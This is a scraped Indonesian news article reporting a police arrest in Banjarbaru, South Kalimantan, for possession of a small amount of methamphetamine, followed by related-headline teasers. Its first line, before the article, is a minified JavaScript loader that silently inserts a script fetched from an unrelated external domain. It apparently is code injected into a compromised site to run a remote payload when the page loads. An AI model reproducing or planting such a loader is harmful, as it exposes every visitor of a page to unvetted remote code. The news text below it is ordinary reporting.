(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – ZOG (29) pemuda asal Kelurahan Guntung Manggis ditangkap Unit Buser Polsek Banjarbaru Utara setelah kedapatan membawa barang haram narkotika jenis sabu.
Pemuda tersebut berhasil diamankan pada Kamis 17 Februari 2022 sekitar pukul 18.30 Wita, berdasarkan informasi dari masyarakat sekitar bahwa di tempat tersebut sering terjadi transaksi narkotika jenis sabu.
Kapolsek Banjarbaru Utara Kompol Shofiyah, melalui Kasi Humas Aipda Andreas kepada kanalkalimantan.com Jumat (18/2/2022)
menjelaskan, adanya laporan dari masyarakat sekitar di Jalan A Yani Km 32 terjadi transaksi narkotika jenis sabu. Setelah mendapatkan informasi dari masyarakat pihaknya langsung melakukan penyelidikan untuk dapat mengungkap laporan dari masyarakat tersebut.
Baca juga:Â Alif Gelar Pasar Murah Minyak Goreng di Limpur RayaÂ
Dipimpin langsung oleh Panit 2 Opsnal Polsek Banjarbaru Utara Aiptu Sugeng Gunawan melakukan crosscheck untuk memastikan keakuratan informasi tersebut.
Kemudian anggota Opsnal Polsek Banjarbaru Utara melakukan pengintaian dan melakukan penangkapan kepada seorang laki-laki yang dicurigai sebagai tersangka.
“Tersangka sempat berupaya untuk melarikan diri, namun langsung diterjang anggota agar bisa ditangkap,” tambahnya.
Setelah dilakukan penggeledahan oleh anggota Opsnal, petugas berhasil mendapatkan barang bukti berupa satu buah tas selempang warna abu-abu merk Quiksilver yang berisikan satu buah dompet warna cokelat dan satu buah handphone merk Oppo warna putih hitam.
Baca juga:Â Banjarbaru PPKM Level 3, Epidemiolog: Prioritas Vaksin Lansia, Rawat Inap Hanya yang Bergejala Berat
Kemudian satu paket diduga narkotika jenis sabu dengan berat kotor 0,28 gram yang disembunyikan di saku celana tersangka.
Atas temuan tersebut tersangka beserta barang bukti diamankan dan dibawa ke Mapolsek Banjarbaru Utara guna proses penyelidikan dan penyidikan lebih lanjut.
Bertasarkan temuan tersebut ZOG (29) diganjar Pasal 114 ayat 2 Sub Pasal 112 ayat 1 UU RI Nomor 35 Tahun 2009 tentang Narkotika.(kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.